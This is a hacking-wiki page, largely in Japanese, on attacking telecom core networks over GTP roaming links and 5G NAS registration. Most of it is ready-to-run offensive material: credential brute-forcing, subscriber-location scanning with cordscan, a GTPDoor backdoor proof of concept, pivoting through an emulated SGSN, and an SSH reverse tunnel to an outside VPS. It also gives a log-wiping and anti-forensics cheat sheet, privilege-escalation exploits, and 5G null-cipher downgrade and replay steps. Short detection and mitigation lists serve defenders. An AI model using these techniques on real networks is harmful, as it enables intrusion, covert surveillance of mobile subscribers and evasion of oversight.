14 KiB
Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
Note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) は、しばしば半信頼の GRX/IPX ローミングバックボーンを横断します。平文の UDP 上をほとんど認証なしで走るため、通信事業者の境界内のいかなる foothold からでも通常はコアシグナリングプレーンに直接到達できることが多いです。以下は、SGSN/GGSN、PGW/SGW およびその他の EPC ノードに対して野外で観測された offensive tricks をまとめたメモです。
1. Recon & Initial Access
1.1 デフォルトの OSS / NE アカウント
多くのベンダー製 network elements には root:admin
、dbadmin:dbadmin
、cacti:cacti
、ftpuser:ftpuser
、… のようなハードコードされた SSH/Telnet ユーザーが驚くほど多数含まれています。専用のワードリストを用意すると brute-force の成功率が大幅に向上します:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
デバイスが管理用 VRF のみを公開している場合は、まず jump host を経由してピボットしてください(以下の «SGSN Emu Tunnel» 節を参照)。
1.2 GRX/IPX 内のホスト探索
ほとんどの GRX オペレータはバックボーン上で依然として ICMP echo を許可しています。masscan
の組み込み gtpv1
UDP プローブを組み合わせることで、GTP-C リスナーを迅速にマップできます:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. 加入者の列挙 – cordscan
以下の Go ツールは GTP-C Create PDP Context Request パケットを作成し、応答をログに記録します。各応答は照会した IMSI に現在サービスを提供している SGSN / MME を明らかにし、場合によっては加入者が訪問している PLMN を示します。
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
主なフラグ:
--imsi
対象加入者の IMSI--oper
ホーム / HNI (MCC+MNC)-w
raw packets を pcap に書き込む
バイナリ内の重要な定数をパッチしてスキャン範囲を拡大できます:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. GTP経由のコード実行 – GTPDoor
GTPDoor
は小さな ELF サービスで、UDP 2123 にバインドし、受信するすべての GTP-C パケットを解析します。 ペイロードが事前共有タグで始まると、残りは(AES-128-CBC)で復号され /bin/sh -c
経由で実行されます。stdout/stderr は Echo Response メッセージ内に持ち出されるため、外向きのセッションは一切作成されません。
最小限の PoC パケット (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
検出:
- SGSN の IP 宛に unbalanced Echo Requests を送信している任意のホスト
- GTP バージョンフラグが 1 に設定され、message type = 1 (Echo) の場合 — 規格からの逸脱
4. コアを介したピボット
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
は、実際の GGSN/PGW に対して PDP context を確立する ことができる SGSN エミュレータを同梱しています。交渉が完了すると、Linux はローミングピアから到達可能な新しい tun0
インターフェースを受け取ります。
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
適切な firewall hair-pinning を行えば、このトンネルは signalling-only VLANs をバイパスして、直接 data plane に到達します。
4.2 SSH Reverse Tunnel over Port 53
DNS はローミング環境ではほぼ常に開いています。内部の SSH サービスを VPS 上で :53 で待ち受けるよう公開し、後で自宅から接続を戻します:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
VPSでGatewayPorts yes
が有効になっていることを確認してください。
5. コバートチャネル
チャネル | トランスポート | デコード | 備考 |
---|---|---|---|
ICMP – EchoBackdoor |
ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 純粋な受動リスナー、アウトバウンドトラフィックなし |
DNS – NoDepDNS |
UDP 53 | XOR (key = funnyAndHappy ) をAレコードのオクテットにエンコード |
*.nodep サブドメインを監視 |
GTP – GTPDoor |
UDP 2123 | プライベートIE内のAES-128-CBCブロブ | 正当なGTP-Cトラフィックに溶け込む |
All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.
6. 防御回避チートシート
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. レガシーNEでの Privilege Escalation
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
クリーンアップのヒント:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– 前節で説明したカスタムツール。FScan
: intranet の TCP スイープ (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS の rogue WPADMicrosocks
+ProxyChains
: 軽量な SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G の登録手続きは NGAP 上の NAS (Non-Access Stratum) で実行される。Security Mode Command/Complete によって NAS セキュリティが有効化されるまでは、初期メッセージは認証も暗号化もされていない。このプレセキュリティのウィンドウは、N2 トラフィックを観測または改ざんできる場合(コア内のオンパス、偽 gNB、テストベッド など)に複数の攻撃経路を可能にする。
Registration flow (簡略):
- Registration Request: UE が SUCI(ホームネットワーク公開鍵で暗号化された SUPI)と capabilities を送信。
- Authentication: AMF/AUSF が RAND/AUTN を送信;UE は RES* を返す。
- Security Mode Command/Complete: NAS の整合性と暗号化が交渉され有効化される。
- PDU Session Establishment: IP/QoS の設定。
Lab setup のヒント(RF 以外):
- Core: Open5GS のデフォルト展開でフローを再現するのに十分。
- UE: シミュレータやテスト用 UE;Wireshark でデコード。
- Active tooling: 5GReplay(NGAP 内の NAS をキャプチャ/改変/リプレイ)、Sni5Gect(フルな偽 gNB を立てずに NAS をスニッフ/パッチ/注入)。
- Wireshark の便利な display filter:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
期待される動作: UE/USIM は SUCI(ホームネットワークの公開鍵で暗号化された SUPI)を送信する必要がある。Registration Request に平文の SUPI/IMSI が含まれている場合、これは恒久的な加入者トラッキングを可能にするプライバシ欠陥を示す。
テスト方法:
- InitialUEMessage の最初の NAS メッセージをキャプチャし、Mobile Identity IE を検査する。
- Wireshark の簡易チェック:
- SUCI としてデコードされるべきで、IMSI ではないこと。
- フィルタ例:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
が存在するはず;存在しないのにimsi
がある場合は露出を示す。
収集すべきもの:
- 露出している場合は MCC/MNC/MSIN を取得;UE ごとにログを取り、時間/場所を跨いで追跡。
緩和策:
- SUCI のみを許可する UE/USIM を必須化;初期 NAS に IMSI/SUPI が含まれている場合はアラートする。
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
背景:
- UE は Registration Request の UE Security Capability IE でサポートする EEA(暗号化)と EIA(整合性)を通知する。
- 一般的なマッピング: EEA1/EIA1 = SNOW3G、EEA2/EIA2 = AES、EEA3/EIA3 = ZUC;EEA0/EIA0 は null アルゴリズム。
問題点:
- Registration Request は整合性保護されていないため、オンパス攻撃者は capability ビットをクリアして後の Security Mode Command で EEA0/EIA0 の選択を強制できる。一部のスタックは緊急サービス以外でも null アルゴリズムを誤って許可する。
攻撃手順(攻撃的な検証):
- InitialUEMessage をインターセプトして NAS UE Security Capability を EEA0/EIA0 のみを広告するように改変する。
- Sni5Gect を使い、NAS メッセージをフックして転送前に capability ビットをパッチする。
- AMF が null 暗号/整合性を受け入れて Security Mode を EEA0/EIA0 で完了するか観察する。
検証/可視化:
- Security Mode Command/Complete 後に選択されたアルゴリズムを Wireshark で確認する。
- 受動的スニッファの出力例:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigations (must):
- AMF/policy を設定して、厳密に義務付けられている場合(例: 緊急通報)を除き、EEA0/EIA0 を拒否する。
- 最低でも EEA2/EIA2 の適用を優先する; null algorithms をネゴシエートする NAS セキュリティコンテキストについてはすべてログ記録とアラームを行う。
9.3 初期 Registration Request のリプレイ(pre-security NAS)
初期の NAS は整合性と新鮮性を欠くため、キャプチャした InitialUEMessage+Registration Request を AMF にリプレイできる。
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- AMF が replay を受け入れて Authentication に進むかどうかを確認する。freshness や context の検証が行われていない場合、脆弱性を示す。
Mitigations:
- AMF 側で replay protection / context binding を強制する。GNB/UE 単位でレート制限と相関付けを行う。
9.4 Tooling pointers (reproducible)
- Open5GS: AMF/SMF/UPF を立ててコアをエミュレートする;N2 (NGAP) と NAS を監視する。
- Wireshark: NGAP/NAS のデコードを確認する;上記フィルタを適用して Registration を抽出する。
- 5GReplay: Registration をキャプチャし、ルールに従って特定の NGAP + NAS メッセージを replay する。
- Sni5Gect: NAS control-plane をライブで sniff/modify/inject して null algorithms を強制したり、authentication シーケンスを攪乱する。
9.5 Defensive checklist
- Registration Request を継続的に監視し、平文の SUPI/IMSI を検出したら当該デバイス/USIM をブロックする。
- EEA0/EIA0 は限定的な緊急手順を除き拒否し、最低でも EEA2/EIA2 を要求する。
- 不正または設定ミスのインフラを検出する:無許可の gNB/AMF、予期しない N2 ピアなど。
- null algorithms を引き起こす NAS security modes や InitialUEMessage の頻繁な replay を検出してアラートする。
Detection Ideas
- SGSN/GGSN 以外のデバイスが Create PDP Context Requests を確立している場合。
- 内部 IP から Non-standard ports (53, 80, 443) で SSH handshakes を受信している場合。
- 対応する Echo Responses のない頻繁な Echo Requests – GTPDoor beacons を示す可能性がある。
- 識別子/シーケンスフィールドが大きく非ゼロの ICMP echo-reply トラフィックが高レートで発生している場合。
- 5G: 同一エンドポイントから繰り返される NAS Registration Requests を含む InitialUEMessage(replay の兆候)。
- 5G: 緊急時以外で EEA0/EIA0 を交渉する NAS Security Mode。
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}